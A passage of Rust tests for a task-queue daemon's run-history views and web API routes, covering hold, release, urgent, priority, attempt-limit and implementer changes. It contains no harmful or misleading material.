14859        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14860        task_run_view(
14861            "20260902-140501-aaaa",
14862            Some(&s),
14863            RunSlot {
14864                n: 1,
14865                resumed: false,
14866                resumed_later: Some(2),
14867                prior: None,
14868                last: false,
14869                ..RunSlot::default()
14870            },
14871            &task,
14872        )
14873    }
14874
14875    #[test]
14876    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14877        let v = earlier_pass_view(|_| {});
14878        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14879        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14880        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14881        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14882        assert_eq!(v.exit, RunExit::Interrupted);
14883        assert_eq!(v.attempt, AttemptCost::Unknown);
14884    }
14885
14886    #[test]
14887    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14888        let v = earlier_pass_view(|s| {
14889            s.quota.push(crate::run::QuotaLoss {
14890                seat: "judge-1".to_owned(),
14891                node: "judge".to_owned(),
14892                at: Timestamp::now(),
14893                reset: None,
14894            });
14895        });
14896        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14897        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14898        assert_eq!(v.attempt, AttemptCost::Unknown);
14899    }
14900
14901    #[test]
14902    fn the_current_pass_states_its_recorded_cause_and_cost() {
14903        let slot = || RunSlot {
14904            n: 1,
14905            resumed: false,
14906            resumed_later: None,
14907            prior: None,
14908            last: true,
14909            ..RunSlot::default()
14910        };
14911        let task = flow_task(&["20260902-140501-aaaa"]);
14912        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14913        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14914        assert_eq!(
14915            (v.exit, v.attempt),
14916            (RunExit::Parked, AttemptCost::Refunded)
14917        );
14918        let spent = flow_run(RunStatus::Blocked, |_| {});
14919        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14920        assert_eq!(v.attempt, AttemptCost::Spent);
14921        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14922    }
14923
14924    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14925        crate::run::RunPass {
14926            index,
14927            started_at: Timestamp::now(),
14928            resumed: index > 0,
14929            ended_at: end.as_ref().map(|_| Timestamp::now()),
14930            end,
14931            task_entry: true,
14932        }
14933    }
14934
14935    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14936        Some(crate::run::PassEnd::Parked { cause })
14937    }
14938
14939    fn upgrade_cause() -> crate::run::ParkCause {
14940        crate::run::ParkCause::Upgrade {
14941            from: "0.121.0".to_owned(),
14942            to: Some("0.121.1".to_owned()),
14943        }
14944    }
14945
14946    fn settled_pass(
14947        run: &str,
14948        index: usize,
14949        cost: crate::queue::PassCost,
14950    ) -> crate::queue::TaskPass {
14951        crate::queue::TaskPass {
14952            run: run.to_owned(),
14953            pass_index: index,
14954            cost,
14955            attempts_after: 1,
14956            settled_at: Timestamp::now(),
14957            parked: None,
14958        }
14959    }
14960
14961    const RUN_X: &str = "20261011-223708-4334";
14962
14963    #[test]
14964    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14965        use crate::queue::PassCost;
14966        let run = flow_run(RunStatus::Implementing, |s| {
14967            s.passes = vec![
14968                recorded_pass(0, parked(upgrade_cause())),
14969                recorded_pass(1, None),
14970            ];
14971        });
14972        let mut task = flow_task(&[RUN_X, RUN_X]);
14973        task.attempts = 1;
14974        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14975        let h = task_history(&task, |_| Some(run.clone()));
14976        assert_eq!(h.len(), 2);
14977        assert_eq!(h[0].kind, "competition");
14978        assert_eq!(h[1].kind, "resume");
14979        assert_eq!(
14980            (h[0].exit, h[0].attempt),
14981            (RunExit::Parked, AttemptCost::Refunded)
14982        );
14983        assert!(
14984            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14985            "{}",
14986            h[0].outcome
14987        );
14988        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14989        assert!(
14990            h[0].outcome.contains("pass #2 resumed the same run"),
14991            "{}",
14992            h[0].outcome
14993        );
14994        assert!(
14995            h[0].outcome.contains("pass 1 of 2 over run"),
14996            "{}",
14997            h[0].outcome
14998        );
14999        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15000        assert_eq!(
15001            h[0].exit_label,
15002            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15003        );
15004        let f = task_flow(&task, &h, 2, None);
15005        // Two passes of one run, one of two attempts consumed.
15006        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15007        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15008        assert!(
15009            f.edges[1].label.contains("upgrade 0.121.0"),
15010            "{}",
15011            f.edges[1].label
15012        );
15013        assert!(
15014            f.edges[1].label.contains("resume the same run"),
15015            "{}",
15016            f.edges[1].label
15017        );
15018        assert_eq!(f.nodes[1].note, Some("parked"));
15019    }
15020
15021    #[test]
15022    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15023        let mut a = flow_run(RunStatus::Implementing, |s| {
15024            s.passes = vec![
15025                recorded_pass(0, parked(upgrade_cause())),
15026                recorded_pass(1, None),
15027            ];
15028        });
15029        let mut b = flow_run(RunStatus::Failed, |s| {
15030            s.passes = vec![recorded_pass(0, None)];
15031        });
15032        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15033        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15034        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15035        let mut task = flow_task(&[]);
15036        task.start("a".into());
15037        task.start("b".into());
15038        task.start("a".into());
15039        assert_eq!(task.runs, ["b", "a"]);
15040        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
15041        let h = task_history(&task, |id| {
15042            Some(if id == "a" { a.clone() } else { b.clone() })
15043        });
15044        assert_eq!(
15045            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
15046            ["a", "b", "a"]
15047        );
15048        assert_eq!(h[0].attempt, AttemptCost::Refunded);
15049        assert!(h[0].outcome.contains("upgrade"));
15050        assert_eq!(h[2].kind, "resume");
15051        assert!(h[2].pass.is_some());
15052        // The old repeated-id format must show the same recorded passes.
15053        task.runs = vec!["a".into(), "b".into(), "a".into()];
15054        let old = task_history(&task, |id| {
15055            Some(if id == "a" { a.clone() } else { b.clone() })
15056        });
15057        assert_eq!(
15058            old.iter()
15059                .map(|v| (&v.id, &v.kind, v.attempt))
15060                .collect::<Vec<_>>(),
15061            h.iter()
15062                .map(|v| (&v.id, &v.kind, v.attempt))
15063                .collect::<Vec<_>>()
15064        );
15065    }
15066
15067    #[test]
15068    fn an_upgrade_whose_target_was_not_known_says_so() {
15069        let run = flow_run(RunStatus::Implementing, |s| {
15070            s.passes = vec![
15071                recorded_pass(
15072                    0,
15073                    parked(crate::run::ParkCause::Upgrade {
15074                        from: "0.121.0".to_owned(),
15075                        to: None,
15076                    }),
15077                ),
15078                recorded_pass(1, None),
15079            ];
15080        });
15081        let task = flow_task(&[RUN_X, RUN_X]);
15082        let h = task_history(&task, |_| Some(run.clone()));
15083        assert!(
15084            h[0].outcome.contains("upgrade from 0.121.0"),
15085            "{}",
15086            h[0].outcome
15087        );
15088        // No settle record: the refund is not claimed.
15089        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15090    }
15091
15092    #[test]
15093    fn each_pass_keeps_its_own_cause_across_several_resumes() {
15094        use crate::queue::PassCost;
15095        use crate::run::ParkCause;
15096        let run = flow_run(RunStatus::Implementing, |s| {
15097            s.passes = vec![
15098                recorded_pass(0, parked(upgrade_cause())),
15099                recorded_pass(
15100                    1,
15101                    parked(ParkCause::Interrupt {
15102                        reason: "task a1b2 asked to run first".to_owned(),
15103                    }),
15104                ),
15105                recorded_pass(2, parked(ParkCause::Operator)),
15106                recorded_pass(3, None),
15107            ];
15108        });
15109        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
15110        task.attempts = 1;
15111        task.passes = (0..3)
15112            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
15113            .collect();
15114        let h = task_history(&task, |_| Some(run.clone()));
15115        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15116        assert!(
15117            h[1].outcome.contains("task a1b2 asked to run first"),
15118            "{}",
15119            h[1].outcome
15120        );
15121        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
15122        assert!(
15123            h[2].outcome.contains("operator asked the loop to park"),
15124            "{}",
15125            h[2].outcome
15126        );
15127        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
15128        let f = task_flow(&task, &h, 2, None);
15129        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
15130    }
15131
15132    #[test]
15133    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
15134        let run = flow_run(RunStatus::Implementing, |s| {
15135            s.passes = vec![
15136                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
15137                recorded_pass(1, None),
15138            ];
15139        });
15140        let task = flow_task(&[RUN_X, RUN_X]);
15141        let h = task_history(&task, |_| Some(run.clone()));
15142        assert_eq!(h[0].exit, RunExit::Interrupted);
15143        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15144        assert!(
15145            h[0].outcome.contains("without recording why"),
15146            "{}",
15147            h[0].outcome
15148        );
15149        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15150        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
15151    }
15152
15153    #[test]
15154    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
15155        use crate::queue::PassCost;
15156        // Three entries, but the run only began keeping passes at the last
15157        // two: the first is legacy and must not be given a cause.
15158        let run = flow_run(RunStatus::Implementing, |s| {
15159            s.passes = vec![
15160                recorded_pass(0, parked(upgrade_cause())),
15161                recorded_pass(1, None),
15162            ];
15163        });
15164        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
15165        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15166        let h = task_history(&task, |_| Some(run.clone()));
15167        assert!(h[0].pass.is_none());
15168        assert_eq!(h[0].exit, RunExit::Interrupted);
15169        assert_eq!(h[0].attempt, AttemptCost::Unknown);
15170        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15171        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15172        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
15173        // A run with no passes at all is entirely unknown.
15174        let legacy = flow_run(RunStatus::Implementing, |_| {});
15175        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
15176        assert!(h.iter().all(|v| v.pass.is_none()));
15177        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15178    }
15179
15180    #[test]
15181    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
15182        use crate::queue::PassCost;
15183        // Pass 1 is a web-button resume: a pass of the run, no entry of the
15184        // task. The two entries are passes 0 and 2.
15185        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
15186        web.task_entry = false;
15187        let run = flow_run(RunStatus::Implementing, |s| {
15188            s.passes = vec![
15189                recorded_pass(0, parked(upgrade_cause())),
15190                web.clone(),
15191                recorded_pass(2, None),
15192            ];
15193        });
15194        let mut task = flow_task(&[RUN_X, RUN_X]);
15195        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15196        let h = task_history(&task, |_| Some(run.clone()));
15197        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
15198        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
15199
15200        // Legacy first entry, then a web resume that parked for an upgrade,
15201        // then the daemon's pass: the legacy entry must stay unknown.
15202        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
15203        web0.task_entry = false;
15204        let run = flow_run(RunStatus::Implementing, |s| {
15205            s.passes = vec![web0.clone(), recorded_pass(1, None)];
15206        });
15207        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
15208        assert!(h[0].pass.is_none());
15209        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
15210        assert!(h[1].pass.is_some());
15211    }
15212
15213    #[tokio::test]
15214    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
15215        let dir = tempfile::tempdir().unwrap();
15216        let queue = Queue::at(dir.path().join("queue"));
15217        let ui = Arc::new(Ui::new(
15218            queue.clone(),
15219            Questions::at(dir.path().join("questions")),
15220            Talks::at(dir.path().join("talks")),
15221            dir.path().join("runs"),
15222            dir.path().to_path_buf(),
15223            dir.path().to_path_buf(),
15224        ));
15225        let mut t = Task::new(
15226            "recover".into(),
15227            "Inspect".into(),
15228            PathBuf::from("."),
15229            Source::Human,
15230        );
15231        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
15232        t.start("run-A".into());
15233        t.release_operator("choice", Some("resume-question"));
15234        t.resume_override = Some(crate::queue::OperatorResume {
15235            question_id: "resume-question".into(),
15236            at: jiff::Timestamp::now(),
15237            conductor_rehold: None,
15238            forced: true,
15239            pinned_run: Some("run-A".into()),
15240        });
15241        t.hold_machine(Some("inspection pending".into()));
15242        t.edit("recover".into(), "Reuse approved PR head".into())
15243            .unwrap();
15244        queue.put(&mut t).unwrap();
15245        let mut cli = t.clone();
15246        cli.release_operator("cli", None);
15247        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
15248        let reloaded = queue.get(&t.id).unwrap();
15249        assert_eq!(reply.task.status, TaskStatus::Queued);
15250        assert!(reloaded.resume_override.is_none());
15251        assert_eq!(reloaded.answers, t.answers);
15252        let mut web = reloaded.resumption.unwrap();
15253        let cli = cli.resumption.unwrap();
15254        assert_eq!(web.source, "web");
15255        web.source = cli.source.clone();
15256        web.at = cli.at;
15257        assert_eq!(web, cli);
15258    }
15259
15260    #[tokio::test]
15261    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
15262        let f = Fixture::start().await;
15263        let queue = f.queue();
15264        let mut task = Task::new(
15265            "spent".to_owned(),
15266            "Try again".to_owned(),
15267            PathBuf::from("/repo/magi"),
15268            Source::Human,
15269        );
15270        task.start("20260902-140502-bbbb".to_owned());
15271        task.fail("agent gave up", 9);
15272        queue.put(&mut task).expect("file the task");
15273
15274        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15275        assert_eq!(held.status, 200);
15276        assert_eq!(held.json()["status_str"], "held");
15277
15278        let released = f
15279            .post(&format!("/api/queue/{}/release", task.id), None)
15280            .await;
15281        assert_eq!(released.status, 200);
15282        assert_eq!(released.json()["status_str"], "queued");
15283        assert_eq!(released.json()["resumption"]["source"], "web");
15284        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
15285        let mut cli = task.clone();
15286        cli.release_operator("cli", None);
15287        let web = queue.get(&task.id).unwrap().resumption.unwrap();
15288        let cli = cli.resumption.unwrap();
15289        assert_eq!(web.instruction, cli.instruction);
15290        assert_eq!(web.answers_through, cli.answers_through);
15291        assert_eq!(web.runs_through, cli.runs_through);
15292        assert_eq!(web.cleared_reason, cli.cleared_reason);
15293        assert_eq!(
15294            released.json()["attempts"],
15295            0,
15296            "release is a real second chance, not an instant re-hold"
15297        );
15298        assert_eq!(
15299            queue.get(&task.id).expect("reload").status,
15300            TaskStatus::Queued,
15301            "the change is on disk, not only in the reply"
15302        );
15303        assert!(
15304            !f.home
15305                .path()
15306                .join("queue")
15307                .join(format!("{}.lock", task.id))
15308                .exists(),
15309            "the claim the mutation took is released again"
15310        );
15311    }
15312
15313    #[tokio::test]
15314    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
15315        let f = Fixture::start().await;
15316        let queue = f.queue();
15317        let mut task = Task::new(
15318            "busy".to_owned(),
15319            "Running right now".to_owned(),
15320            PathBuf::from("/repo/magi"),
15321            Source::Human,
15322        );
15323        queue.put(&mut task).expect("file the task");
15324        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15325
15326        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
15327
15328        assert_eq!(res.status, 409);
15329        assert_eq!(
15330            queue.get(&task.id).expect("reload").status,
15331            TaskStatus::Queued,
15332            "the refused hold changed nothing"
15333        );
15334    }
15335
15336    #[tokio::test]
15337    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
15338        let f = Fixture::start().await;
15339        let queue = f.queue();
15340        let mut task = Task::new(
15341            "waiting on the migration".to_owned(),
15342            "Do the thing".to_owned(),
15343            PathBuf::from("/repo/magi"),
15344            Source::Human,
15345        );
15346        queue.put(&mut task).expect("file the task");
15347
15348        let held = f
15349            .post(
15350                &format!("/api/queue/{}/hold", task.id),
15351                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
15352            )
15353            .await;
15354        assert_eq!(held.status, 200, "{}", held.body);
15355        assert_eq!(held.json()["status_str"], "held");
15356        assert_eq!(
15357            held.json()["hold_reason"],
15358            "waiting for 20260101-000000-aaaa to land"
15359        );
15360
15361        let listed = f.get("/api/queue").await.json();
15362        assert_eq!(
15363            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
15364            "the card reads the reason off the same list route"
15365        );
15366
15367        // A hold with no body at all must keep working - most holds have no
15368        // reason to give.
15369        let mut plain = Task::new(
15370            "no reason given".to_owned(),
15371            "Do another thing".to_owned(),
15372            PathBuf::from("/repo/magi"),
15373            Source::Human,
15374        );
15375        queue.put(&mut plain).expect("file the task");
15376        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
15377        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
15378        assert!(held_plain.json()["hold_reason"].is_null());
15379
15380        let released = f
15381            .post(&format!("/api/queue/{}/release", task.id), None)
15382            .await;
15383        assert_eq!(released.status, 200);
15384        assert!(
15385            released.json()["hold_reason"].is_null(),
15386            "a release must clear the reason so the next hold does not inherit it"
15387        );
15388    }
15389
15390    #[test]
15391    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
15392        for urgent in [true, false] {
15393            let body: UrgentBody =
15394                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
15395            assert_eq!(body.urgent, urgent);
15396        }
15397        for input in [
15398            r#"{}"#,
15399            r#"{"urgent":null}"#,
15400            r#"{"urgent":"true"}"#,
15401            r#"{"urgent":1}"#,
15402            r#"{"urgent":true,"extra":false}"#,
15403        ] {
15404            assert!(
15405                serde_json::from_str::<UrgentBody>(input).is_err(),
15406                "{input}"
15407            );
15408        }
15409    }
15410
15411    #[tokio::test]
15412    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
15413        let home = TempDir::new().unwrap();
15414        let q = Queue::at(home.path().join("queue"));
15415        let ui = Arc::new(Ui::new(
15416            q.clone(),
15417            Questions::at(home.path().join("questions")),
15418            Talks::at(home.path().join("talks")),
15419            home.path().join("runs"),
15420            home.path().into(),
15421            home.path().into(),
15422        ));
15423        let mut task = Task::new(
15424            "urgent handler".into(),
15425            "keep".into(),
15426            home.path().into(),
15427            Source::Human,
15428        );
15429        for status in [TaskStatus::Queued, TaskStatus::Held] {
15430            task.status = status;
15431            q.put(&mut task).unwrap();
15432            for urgent in [true, true, false, false] {
15433                let saved = queue_urgent(
15434                    State(Arc::clone(&ui)),
15435                    Path(task.short().into()),
15436                    Ok(Json(UrgentBody { urgent })),
15437                )
15438                .await
15439                .unwrap();
15440                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
15441                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
15442            }
15443        }
15444        task.status = TaskStatus::Queued;
15445        q.put(&mut task).unwrap();
15446        let claim = q.claim(&task.id).unwrap();
15447        let error = queue_urgent(
15448            State(Arc::clone(&ui)),
15449            Path(task.id.clone()),
15450            Ok(Json(UrgentBody { urgent: true })),
15451        )
15452        .await
15453        .unwrap_err();
15454        assert_eq!(error.status, StatusCode::CONFLICT);
15455        assert!(error.message.contains("released"));
15456        drop(claim);
15457        for status in [
15458            TaskStatus::Running,
15459            TaskStatus::Done,
15460            TaskStatus::Failed,
15461            TaskStatus::Blocked,
15462            TaskStatus::Parked,
15463        ] {
15464            task.status = status;
15465            q.put(&mut task).unwrap();
15466            let error = queue_urgent(
15467                State(Arc::clone(&ui)),
15468                Path(task.id.clone()),
15469                Ok(Json(UrgentBody { urgent: false })),
15470            )
15471            .await
15472            .unwrap_err();
15473            assert_eq!(error.status, StatusCode::BAD_REQUEST);
15474            assert!(error.message.contains(status.as_str()));
15475        }
15476    }
15477
15478    #[tokio::test]
15479    async fn urgent_api_updates_preserves_and_validates_tasks() {
15480        let f = Fixture::start().await;
15481        let q = f.queue();
15482        let mut t = Task::new(
15483            "urgent API".into(),
15484            "unchanged".into(),
15485            PathBuf::from("/repo/magi"),
15486            Source::Human,
15487        );
15488        t.attempts = 2;
15489        t.priority = 9;
15490        t.interrupt = true;
15491        t.hold_reason = Some("waiting for approval".into());
15492        for status in [TaskStatus::Queued, TaskStatus::Held] {
15493            t.status = status;
15494            q.put(&mut t).unwrap();
15495            for urgent in [true, true, false, false] {
15496                let response = f
15497                    .post(
15498                        &format!("/api/queue/{}/urgent", t.short()),
15499                        Some(&format!("{{\"urgent\":{urgent}}}")),
15500                    )
15501                    .await;
15502                assert_eq!(response.status, 200, "{}", response.body);
15503                assert_eq!(response.json()["urgent"], urgent);
15504                let saved = q.get(&t.id).unwrap();
15505                let mut before = serde_json::to_value(&t).unwrap();
15506                let mut after = serde_json::to_value(saved).unwrap();
15507                before["urgent"] = urgent.into();
15508                before.as_object_mut().unwrap().remove("updated_at");
15509                after.as_object_mut().unwrap().remove("updated_at");
15510                assert_eq!(after, before);
15511            }
15512        }
15513        let route = format!("/api/queue/{}/urgent", t.id);
15514        for body in [
15515            r#"{}"#,
15516            r#"{"urgent":null}"#,
15517            r#"{"urgent":"true"}"#,
15518            r#"{"urgent":1}"#,
15519            r#"{"urgent":true,"extra":false}"#,
15520            "{",
15521        ] {
15522            assert_eq!(f.post(&route, Some(body)).await.status, 400);
15523        }
15524        t.status = TaskStatus::Queued;
15525        q.put(&mut t).unwrap();
15526        let claim = q.claim(&t.id).unwrap();
15527        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15528        assert_eq!(response.status, 409, "{}", response.body);
15529        assert!(!q.get(&t.id).unwrap().urgent);
15530        drop(claim);
15531        for status in [
15532            TaskStatus::Running,
15533            TaskStatus::Done,
15534            TaskStatus::Failed,
15535            TaskStatus::Blocked,
15536            TaskStatus::Parked,
15537        ] {
15538            t.status = status;
15539            q.put(&mut t).unwrap();
15540            for urgent in [true, false] {
15541                let response = f
15542                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15543                    .await;
15544                assert_eq!(response.status, 400, "{}", response.body);
15545                assert!(response.body.contains(status.as_str()));
15546                assert!(response.body.contains("queued or held"));
15547                assert!(!q.get(&t.id).unwrap().urgent);
15548            }
15549        }
15550        assert_eq!(
15551            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15552                .await
15553                .status,
15554            404
15555        );
15556    }
15557
15558    #[tokio::test]
15559    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15560        let f = Fixture::start().await;
15561        let queue = f.queue();
15562        let mut older = Task::new(
15563            "filed first".to_owned(),
15564            "x".to_owned(),
15565            PathBuf::from("/repo/magi"),
15566            Source::Human,
15567        );
15568        older.id = "20260101-000001-aaaa".to_owned();
15569        let mut newer = Task::new(
15570            "filed second".to_owned(),
15571            "x".to_owned(),
15572            PathBuf::from("/repo/magi"),
15573            Source::Human,
15574        );
15575        newer.id = "20260101-000002-bbbb".to_owned();
15576        queue.put(&mut older).expect("file older");
15577        queue.put(&mut newer).expect("file newer");
15578
15579        // Equal priority: the newer task leads, the same order the old
15580        // newest-first `list()` already gave every equal-priority queue.
15581        let before = f.get("/api/queue").await.json();
15582        assert_eq!(before[0]["id"], newer.id);
15583        assert_eq!(before[1]["id"], older.id);
15584
15585        // Raising the *older* task is the meaningful case: it can only lead
15586        // now because its priority says so, not because it happens to be
15587        // newest.
15588        let raised = f
15589            .post(
15590                &format!("/api/queue/{}/priority", older.id),
15591                Some(r#"{"priority":10}"#),
15592            )
15593            .await;
15594        assert_eq!(raised.status, 200, "{}", raised.body);
15595        assert_eq!(raised.json()["priority"], 10);
15596
15597        let after = f.get("/api/queue").await.json();
15598        let names: Vec<&str> = after
15599            .as_array()
15600            .unwrap()
15601            .iter()
15602            .map(|t| t["id"].as_str().unwrap())
15603            .collect();
15604        // Highest priority first, which is the order next_runnable and
15605        // `magi task list` both use - GET /api/queue must agree with it
15606        // immediately, not just once the loop claims the task.
15607        assert_eq!(names[0], older.id, "the raised task now sorts first");
15608    }
15609
15610    #[tokio::test]
15611    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15612        let dir = TempDir::new().unwrap();
15613        let q = Queue::at(dir.path().join("queue"));
15614        let ui = Arc::new(Ui::new(
15615            q.clone(),
15616            Questions::at(dir.path().join("questions")),
15617            Talks::at(dir.path().join("talks")),
15618            dir.path().join("runs"),
15619            dir.path().to_path_buf(),
15620            dir.path().to_path_buf(),
15621        ));
15622        let mut t = Task::new(
15623            "budget".into(),
15624            "keep".into(),
15625            dir.path().into(),
15626            Source::Human,
15627        );
15628        t.attempts = 2;
15629        t.runs.push("prior-run".into());
15630        t.hold_manual(Some("waiting".into()));
15631        q.put(&mut t).unwrap();
15632        let change = |value| {
15633            queue_attempt_limit(
15634                State(ui.clone()),
15635                Path(t.id.clone()),
15636                Ok(Json(AttemptLimitBody {
15637                    attempt_limit: value,
15638                })),
15639            )
15640        };
15641        for value in [
15642            serde_json::json!(3),
15643            serde_json::Value::Null,
15644            serde_json::json!(1),
15645        ] {
15646            let response = change(value.clone()).await.unwrap();
15647            assert_eq!(
15648                serde_json::to_value(response.0).unwrap()["attempt_limit"],
15649                value
15650            );
15651            let saved = q.get(&t.id).unwrap();
15652            assert_eq!(
15653                serde_json::to_value(&saved).unwrap()["attempt_limit"],
15654                value
15655            );
15656            assert_eq!(saved.status, TaskStatus::Held);
15657            assert_eq!(saved.attempts, t.attempts);
15658            assert_eq!(saved.runs, t.runs);
15659            assert_eq!(saved.hold_reason, t.hold_reason);
15660            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15661                .await
15662                .unwrap()
15663                .0;
15664            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15665            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15666            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15667            assert_eq!(outcome.max_attempts, detail.max_attempts);
15668        }
15669        for value in [
15670            serde_json::json!(0),
15671            serde_json::json!(-1),
15672            serde_json::json!(1.5),
15673            serde_json::json!("3"),
15674            serde_json::json!(true),
15675        ] {
15676            assert_eq!(
15677                change(value).await.err().unwrap().status,
15678                StatusCode::BAD_REQUEST
15679            );
15680        }
15681        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15682        let claim = q.claim(&t.id).unwrap();
15683        assert_eq!(
15684            change(serde_json::json!(4)).await.err().unwrap().status,
15685            StatusCode::CONFLICT
15686        );
15687        drop(claim);
15688        for status in [
15689            TaskStatus::Running,
15690            TaskStatus::Done,
15691            TaskStatus::Failed,
15692            TaskStatus::Blocked,
15693            TaskStatus::Parked,
15694        ] {
15695            let mut stored = q.get(&t.id).unwrap();
15696            stored.status = status;
15697            q.put(&mut stored).unwrap();
15698            assert_eq!(
15699                change(serde_json::json!(4)).await.err().unwrap().status,
15700                StatusCode::BAD_REQUEST
15701            );
15702            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15703        }
15704        let mut stored = q.get(&t.id).unwrap();
15705        stored.status = TaskStatus::Queued;
15706        q.put(&mut stored).unwrap();
15707        let _ = change(serde_json::Value::Null).await.unwrap();
15708        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15709    }
15710
15711    #[tokio::test]
15712    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15713        let dir = TempDir::new().unwrap();
15714        let repo = dir.path().join("repo");
15715        std::fs::create_dir(&repo).unwrap();
15716        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15717        let q = Queue::at(dir.path().join("queue"));
15718        let ui = Arc::new(Ui::new(
15719            q.clone(),
15720            Questions::at(dir.path().join("questions")),
15721            Talks::at(dir.path().join("talks")),
15722            dir.path().join("runs"),
15723            dir.path().to_path_buf(),
15724            repo.clone(),
15725        ));
15726        let mut t = Task::new(
15727            "seats".into(),
15728            "keep instruction".into(),
15729            repo,
15730            Source::Human,
15731        );
15732        t.runs.push("prior-run".into());
15733        t.hold_manual(Some("waiting".into()));
15734        q.put(&mut t).unwrap();
15735        let change = |count| {
15736            queue_implementers(
15737                State(ui.clone()),
15738                Path(t.id.clone()),
15739                Ok(Json(ImplementersBody {
15740                    implementers: count,
15741                })),
15742            )
15743        };
15744        for count in [2, 1, 2] {
15745            let response = change(count).await.unwrap();
15746            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15747            let saved = q.get(&t.id).unwrap();
15748            assert_eq!(saved.implementers(), Some(usize::from(count)));
